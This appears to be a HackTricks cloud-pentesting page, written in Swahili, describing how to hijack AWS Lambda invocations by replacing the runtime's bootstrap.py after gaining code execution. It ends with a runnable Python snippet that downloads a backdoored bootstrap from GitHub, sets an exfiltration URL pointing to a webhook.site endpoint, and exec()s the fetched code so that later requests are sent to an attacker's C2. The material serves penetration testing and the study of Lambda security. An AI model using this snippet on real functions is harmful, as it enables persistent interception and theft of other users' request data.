AWS - Steal Lambda Requests

Support HackTricks

Mchakato wa Lambda

  1. Slicer ni mchakato nje ya kontena ambao hutuma invocations kwa mchakato wa init.

  2. Mchakato wa init husikiliza kwenye bandari 9001 ikifichua baadhi ya njia za kuvutia:

  • /2018-06-01/runtime/invocation/next – pata tukio la invocation linalofuata

  • /2018-06-01/runtime/invocation/{invoke-id}/response – rudisha jibu la handler kwa invoke

  • /2018-06-01/runtime/invocation/{invoke-id}/error – rudisha kosa la utekelezaji

  1. bootstrap.py ina mzunguko wa kupata invocations kutoka kwa mchakato wa init na kuita msimbo wa watumiaji kuushughulikia (/next).

  2. Hatimaye, bootstrap.py hutuma kwa init jibu

Kumbuka kuwa bootstrap hupakia msimbo wa mtumiaji kama moduli, kwa hivyo utekelezaji wowote wa msimbo unaofanywa na msimbo wa watumiaji unafanyika katika mchakato huu.

Kuiba Maombi ya Lambda

Lengo la shambulio hili ni kufanya msimbo wa watumiaji utekeleze mchakato wa bootstrap.py wenye nia mbaya ndani ya mchakato wa bootstrap.py unaoshughulikia ombi lenye udhaifu. Kwa njia hii, mchakato wa bootstrap wenye nia mbaya utaanza kuongea na mchakato wa init kushughulikia maombi wakati bootstrap halali imekwama ikitekeleza ule wenye nia mbaya, hivyo haitauliza maombi kwa mchakato wa init.

Hii ni kazi rahisi kufanikisha kwani msimbo wa mtumiaji unatekelezwa na mchakato halali wa bootstrap.py. Kwa hivyo mshambulizi anaweza:

  • Tuma matokeo bandia ya invocation ya sasa kwa mchakato wa init, hivyo init inafikiria mchakato wa bootstrap unasubiri invocations zaidi.

  • Ombi lazima litumwe kwa /${invoke-id}/response

  • Invoke-id inaweza kupatikana kutoka kwa stack ya mchakato halali wa bootstrap.py kwa kutumia moduli ya python ya inspect (kama inavyopendekezwa hapa) au kwa kuiomba tena kwa /2018-06-01/runtime/invocation/next (kama inavyopendekezwa hapa).

  • Tekeleza bootstrap.py yenye nia mbaya ambayo itashughulikia invocations zinazofuata

  • Kwa madhumuni ya kujificha, inawezekana kutuma vigezo vya invocations za lambda kwa C2 inayodhibitiwa na mshambulizi na kisha kushughulikia maombi kama kawaida.

  • Kwa shambulio hili, inatosha kupata msimbo asili wa bootstrap.py kutoka kwa mfumo au github, ongeza msimbo wenye nia mbaya na uutekeleze kutoka kwa invocation ya sasa ya lambda.

Hatua za Shambulio

  1. Pata udhaifu wa RCE.

  2. Tekeleza bootstrap yenye nia mbaya.

Unaweza kufanya vitendo hivi kwa urahisi kwa kuendesha:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Kwa maelezo zaidi angalia https://github.com/carlospolop/lambda_bootstrap_switcher

Marejeo

Support HackTricks

Last updated